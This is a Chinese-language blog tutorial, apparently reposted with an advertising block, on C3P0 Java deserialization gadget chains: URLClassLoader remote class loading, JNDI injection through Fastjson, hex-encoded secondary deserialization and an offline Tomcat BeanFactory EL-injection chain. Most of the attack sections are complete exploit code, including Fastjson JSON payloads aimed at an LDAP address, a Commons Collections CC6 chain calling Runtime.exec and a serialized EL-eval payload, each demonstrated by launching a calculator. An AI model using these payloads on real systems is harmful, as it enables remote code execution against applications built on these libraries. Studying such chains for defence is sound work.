0x01 前言
再多打一點基礎吧,后續打算先看一看 XStream,Weblogic,strusts2 這些個
0x02 C3P0 組件介紹
C3P0 是一個開源的 JDBC 連接池,它實作了資料源和 JNDI 系結,支持 JDBC3 規范和 JDBC2 的標準擴展,目前使用它的開源專案有 Hibernate,Spring 等,
JDBC 是 Java DataBase Connectivity 的縮寫,它是 Java 程式訪問資料庫的標準介面,
使用Java程式訪問資料庫時,Java 代碼并不是直接通過 TCP 連接去訪問資料庫,而是通過 JDBC 介面來訪問,而 JDBC 介面則通過 JDBC 驅動來實作真正對資料庫的訪問,
連接池類似于執行緒池,在一些情況下我們會頻繁地操作資料庫,此時Java在連接資料庫時會頻繁地創建或銷毀句柄,增大資源的消耗,為了避免這樣一種情況,我們可以提前創建好一些連接句柄,需要使用時直接使用句柄,不需要時可將其放回連接池中,準備下一次的使用,類似這樣一種能夠復用句柄的技術就是池技術,
簡單來說,C3P0 屬于 jdbc 的一部分,和 Druid 差不多
0x03 C3P0 反序列化漏洞
環境
jdk8u65
pom.xml 如下
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
C3P0 反序列化三條 Gadgets
? 在去復現鏈子之前,既然這是一個資料源的組件,那么大概率會存在的漏洞是 URLClassLoader 的類的動態加載,還有 Jndi 注入,
好叭看了其他師傅的文章才知道,C3P0 常見的利用方式有如下三種
? URLClassLoader 遠程類加載
? JNDI 注入
? 利用 HEX 序列化位元組加載器進行反序列化攻擊(第一次見,應該是我少見多怪了
我們還是以漏洞發現者的角度來復現一遍,嘗試著能否少看一些其他師傅的文章,較為獨立的找到鏈子,
C3P0 之 URLClassLoader 的鏈子
C3P0 之 URLClassLoader 流程分析
我們先想一想,既然是 URLClassLoader 的鏈子,什么場景下會用到 URLClassLoader 的鏈子呢?
我的第一想法是,獲取資料源很可能是通過 URLClassLoader 的,事實證明我的這種想法非常愚蠢,因為獲取資料源并不是獲取一個類,當然,最終也沒找到,不過也是有點識訓的,
后面又想到了,可能是 Ref 這種型別的類,于是我又回頭找了一下,但是因為 IDEA 未能搜索依賴庫內的內容,所以就寄了,直接看了其他師傅的文章,
找到的類是 ReferenceableUtils,當中的 referenceToObject() 方法呼叫了 URLClassLoader 加載類的方法
最后還有類的加載 ———— instance(),我們的鏈子尾部就找好了,
繼續往上找,應該是去找誰呼叫了 ReferenceableUtils.referenceToObject()
ReferenceIndirector 類的 getObject() 方法呼叫了 ReferenceableUtils.referenceToObject(),繼續往上找
PoolBackedDataSourceBase#readObject() 呼叫了 ReferenceIndirector#getObject(),同時這也正好是一個入口類,
總結鏈子流程圖如圖
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
C3P0 之 URLClassLoader EXP 撰寫
手寫一遍 EXP 試試
先寫 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP,
EXP 如下
public class RefToURLClassLoader {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");
Reference reference = new Reference("Calc", "Calc","http://127.0.0.1:9999/");
Method method = clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);
method.setAccessible(true);
Object o = method.invoke(clazz, reference, null, null, null);
Object object = method.invoke(o, null, null, null, null);
}
}
繼續往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法
這里的 readObject() 方法想要進到鏈子的下一步 getObject() 必須要滿足一個條件,也就是傳入的類必須要是 IndirectlySerialized 這個類,
在進行完這個判斷之后
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
執行 .getObject() 方法的類從原本的 PoolBackedDataSourceBase 變成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一個介面,并且沒有繼承 Serializable 介面,所以是無法直接用于代碼里面的,
這個地方有點卡住了,我們不妨去看一下 PoolBackedDataSourceBase#writeObject() 的時候,也就是序列化的時候做了什么
如圖,直接包裝了一層 indirector.indirectForm()
我們跟進 indirector.indirectForm() 看一看,當然這個地方的 indirector 實際上就是 com.mchange.v2.naming.ReferenceIndirector,所以陳述句也可以這么改寫
ReferenceIndirector.indirectForm()
經過 ReferenceIndirector.indirectForm() 的 “淬煉”,我們直接看回傳值是什么
這里回傳的是 ReferenceSerialized 的一個建構式,ReferenceSerialized 實際上是一個內部類
跟進一下繼承的介面
發現它繼承了 Serializable 介面,至此,包裝的程序分析結束,現在我們拿到的 "ConnectionPoolDataSource" 外表上還是 "ConnectionPoolDataSource",但是實際上已經變成了 "ReferenceSerialized" 這個類;事后師傅們可以自行打斷點除錯,這樣體會的更深刻一些,
EXP 的撰寫也較為簡單,值得一提的是,這里面有一個 getReference() 方法可以直接 new 一個 Reference 物件,
通過反射修改 connectionPoolDataSource 屬性值為我們的惡意 ConnectionPoolDataSource 類
C3P0 之 JNDI 注入
誤打誤撞看到的一處偽 JNDI 注入,失敗告終
雖然是誤打誤撞看到的,也是失敗的,但是依然有價值,后面看了楓師傅的博客,發現這里居然還是可以利用的,簡直太強了,
其實是在尋找上一條 Gadget 的時候發現的
位置在這個地方 com.mchange.v2.naming.ReferenceIndirector
它的 getObject() 方法里面有 initialContext.lookup()
所以我嘗試了一下發現幾個問題,雖然是坑吧,但是這個坑我更愿意稱之為嘗試,
首先這里,我們如果要觸發 JNDI 注入,那么肯定需要控制 contextName 這個屬性值,結果好巧不巧,這個屬性值是一個類
既然是一個類,就不能直接賦給字串物件,然后我嘗試了它介面的實作類,發現不行,只能是自己這個介面;這利用面感覺太小太小了,很難挖;所以我這里就放棄了,
也掛一手失敗的 EXP 吧
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException, InstantiationException, InvocationTargetException, InvalidNameException {
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
Method method = clazz.getDeclaredMethod("getObject");
Field ContextField = clazz.getDeclaredField("contextName");
ContextField.setAccessible(true);
DnsName dnsName = new DnsName();
ContextField.set(dnsName,dnsName);
Object o = method.invoke(clazz);
method.invoke(o);
}
}
挺有意思的一次嘗試,哈哈哈哈,
C3P0 之 JNDI 注入流程分析
這條鏈子是基于 Fastjson 鏈子的,也就是說,是 Fastjson 的某一條鏈
我們還是以漏洞發現者的思維去尋找,在庫中全域搜索 Jndi,看看是否有識訓
點開第一個試一下,接著在這個類當中找 jndi 關鍵詞,看到了這個方法:dereference()
在第 112 行與第 114 行,有非常惹人注目的 ctx.lookup()
這里被 lookup() 的變數是 jndiName,跟進去看一下 jndiName 是什么
jndiName 是由 this.getJndiName() 搞來的,跟進看一看 getJndiName() 方法
這個方法做了一件什么事呢?它判斷了拿進來的 jndiName 是不是 Name 的型別,如果是就回傳 ((Name) jndiName).clone(),若不是就回傳 String;回想起我前文挖洞失敗的那個經歷,不就是因為傳參是一個物件所以無法利用嗎!
我這里的運氣非常好,第一次找就找到了這個漏洞類
回到前面,我們看一下 dereference() 方法,是否允許我們傳入一個 String 型別的引數
至此,鏈子的尾部已經是沒問題的了,向上找可用的地方
同一個類下的 inner() 方法呼叫了它,繼續往上找
這里有非常多的 getter/setter 方法,已經是滿足作為 fastjson 呼叫鏈的條件了,但是對于選擇上來說,我們選最簡單的 setLoginTimeout() 方法,因為它的傳參只需要我們傳入一個整數即可,
我覺得這里已經可以寫 EXP 了,但是看到有其他師傅的文章分析的意思是:還要繼續向上找,可能是因為這個 JndiRefForwardingDataSource 類是 default 的類,覺得利用面還是不夠大吧,我個人覺得從攻擊的角度上來說是都可以的,后續在寫 EXP 的環節也會把這個寫進去,
如果要繼續網上找的話,還有一個是可以利用的類
再向上找可能還是可以,還能利用,但已經完全沒必要了,因為黑命單加的都是大類,如果簡短的鏈子被 ban 了,再深的鏈子也是被 ban 的,
C3P0 之 JNDI EXP 構造
先匯入 fastjson 的包,就先導 1.2.24 的吧,因為 1.2.25 版本的 fastjson 當中就已經把 com.mchange 包加入了黑名單里面,
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
JndiRefForwardingDataSource 的 EXP 如下
package JNDIVul;
import com.alibaba.fastjson.JSON;
// JndiRefForwardingDataSource 類的直接 EXP 呼叫
public class JndiForwardingDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
因為是 default 作用域的類,所以不可以直接 new,這里我們直接用 fastjson 的方式去調
JndiRefConnectionPoolDataSource 的 EXP 也大同小異,因為這是個 public 為作用域的類,我們可以先通過這種方式測驗一下鏈子的可用性,
public class JndiRefConnectionPoolDataSourceTest {
public static void main(String[] args) throws PropertyVetoException, SQLException {
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");
jndiRefConnectionPoolDataSource.setLoginTimeout(1);
}
}
用 fastjson 打也比較簡單
public class JndiRefConnectionPoolDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
成功
C3P0 之 hexbase 攻擊利用
? 這個點因為之前從來沒有接觸到過,所以跟著其他師傅的文章學習一下,同時這一種利用方式也是二次反序列化的利用之一,
C3P0 之 hexbase 流程分析
這條鏈子能成立的根本原因是,有一個
WrapperConnectionPoolDataSource 類,它能夠反序列化一串十六進制字串
鏈子首部是在 WrapperConnectionPoolDataSource 類的建構式中,如圖
在給 userOverrides 賦值的時候,用的是 C3P0ImplUtils.parseUserOverridesAsString() 這么一個操作,這個方法的作用就是反序列化 userOverride 把它這個 String 型別的東西轉為物件,跟進
它這里把 hex 字串讀了進來,把轉碼后的結果保存到了 serBytes 這個位元組流的陣列中,這個位元組流是拿去進行 SerializableUtils.fromByteArray() 的操作,值得注意的是,在決議程序中呼叫了 substring() 方法將字串頭部的 HASM_HEADER 截去了,因此我們在構造時需要在十六進制字串頭部加上 HASM_HEADER,并且會截去字串最后一位,所以需要在結尾加上一個;
SerializableUtils#fromByteArray() 呼叫了 SerializableUtils#deserializeFromByteArray,跟進,看到了反序列化的操作 ———— readObject()
C3P0 之 hexbase EXP 撰寫
? 因為我們在鏈子的第一步的時候,看到傳入的引數是 this.getUserOverridesAsString(),所以用 Fastjson 的鏈子打會很簡單,
這里我們需要寫一個構造 hex 的 EXP,呼叫之前學 CC 鏈就可以
EXP 如下
package hexBase;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class HexBaseFastjsonEXP {
//CC6的利用鏈
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包裝一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前彈計算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");
// 在 put 之后通過反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
return expMap;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//將類序列化為位元組陣列
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//位元組陣列轉十六進制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);
//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
}
在低版本 Fastjson 的情況下,實際上也可以使用下面的 Payload
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
C3P0 之 hexbase 除錯分析
斷點位置如圖
因為我們第一次 Fastjson 拿進去打的是空,是用來加載的,第二次的 payload 是執行,所以可以直接跳過第一次的加載,
當第二次 Fastjson 進來的時候,就有了
在過了 substring 這一步之后,我們看到前面的:HexAsciiSerializedMap: 都無了,現在加載進來的才是真正的 hex 內容
接著,把 hex 的內容轉化為了 bytes 位元組碼
下一步,進行反序列化
跟進
成功彈出計算器
C3P0 之 hexbase 另類 EXP 除錯分析
在上文 EXP 的撰寫中,我提到了 "在低版本 Fastjson 的情況下,實際上也可以使用下面的 Payload"
這到底是怎么一回事兒呢
實際上 Fastjson 初始化 WrapperConnectionPoolDataSource 類時,userOverridesAsString 屬性是空的,要想進行反序列化操作,必須先給其賦值,理論上來說,要想決議 userOverridesAsString 屬性,至少需要呼叫兩次建構式,
我們來除錯看一下
斷點依舊是同一個位置,開始除錯
驚奇的發現,userOverrideAsString 一開始為 null,但是經過一輪之后,變成了 hex;這到底是為什么呢?我們可以去到 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 里面去看一看
不妨在這個地方下個斷點,然后除錯一下,
師傅們除錯的時候會發現,這個
setUserOverridesAsString() 的運行邏輯大致是這樣的,首先把之前為 null 的 userOverridesAsString 賦值給 oldVal,接著判斷這兩個是否相等,或者是否都為 null,如果不滿足這個條件,就把新的值賦給 userOverridesAsString,如圖
后續的程序和前面一樣,就不再分析了,
0x04 C3P0 鏈子的不出網利用
這一種攻擊方式是向楓師傅學到的
不論是 URLClassLoader 加載遠程類,還是 JNDI 注入,都需要目標機器能夠出網,
而加載 Hex 字串的方式雖然不用出網,但卻有 Fastjson 等的相關依賴,那么如果目標機器不出網,又沒有 Fastjson 依賴的話,C3P0 鏈又該如何利用呢?
關于 Java 的鏈子,如何不出網利用一直是一個很有趣的話題,也是很有意思的攻擊面,
在 Jndi 高版本利用中,我們可以加載本地的 Factory 類進行攻擊,而利用條件之一就是該工廠類至少存在一個 getObjectInstance() 方法,比如通過加載 Tomcat8 中的 org.apache.naming.factory.BeanFactory 進行 EL 運算式注入;關于 EL 運算式注入可以看這篇 Java 之 EL 運算式注入
先匯入依賴
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
C3P0 鏈子的不出網利用分析與 EXP
已經確定是想通過 EL 運算式注入的方式攻擊了,我們需要先選擇攻擊的鏈子,
Jndi 的鏈子比較難,限制非常多,而且是不出網的利用,所以 pass 了;
URLClassLoader 的鏈子是可行的,只需要我們把之前 URLClassLoader 的 EXP 進行一些修改即可,
HexBase 的鏈子也是不可行的,因為它是基于 Fastjson 的一條鏈子,
EXP 如下
package NoNetUsing;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class NoAccessEXP {
public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
//序列化
public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource屬性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
//序列化流寫入檔案
FileOutputStream fos = new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Loader_Ref loader_ref = new Loader_Ref();
serialize(loader_ref);
unserialize();
}
}
把原來 URLClassLoader 的地方修改成 EL 運算式的命令執行即可,
C3P0 鏈子的不出網利用除錯
簡單除錯理解一下,
先把斷點下在 BeanFactory 的 getObjectInstance() 方法下,因為這里是一定被呼叫到的,
此處,我們可以看到之前的呼叫鏈,如圖
我們去到 readObject() 方法的地方加一個斷點,再重新跑一遍,簡單除錯一下,我們就可以看到這是一個 URLClassLoader 的鏈子,
此處進行了命令執行的操作
0x05 小結
C3P0 這條鏈子分析起來還是不難,建議師傅們可以動手去嘗試一個個類看一下,看哪里可能會存在有漏洞,
同時 C3P0 鏈的價值也是非常高的,C3P0 的包在實戰環境中除CommonsCollections、CommonsBeanutiles 以外遇到最多的 JAR 包,其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依賴進來的,
關于前文提到的 "誤打誤撞看到的一處偽 JNDI 注入,失敗告終",后續文章會仔細講這一片段,
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/513669.html
標籤:其他
下一篇:2022美團CTF個人決賽WP